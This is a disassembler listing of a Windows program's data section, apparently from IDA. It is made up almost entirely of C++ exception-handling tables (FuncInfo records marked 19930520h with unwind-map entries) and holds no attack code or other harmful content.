		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset loc_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
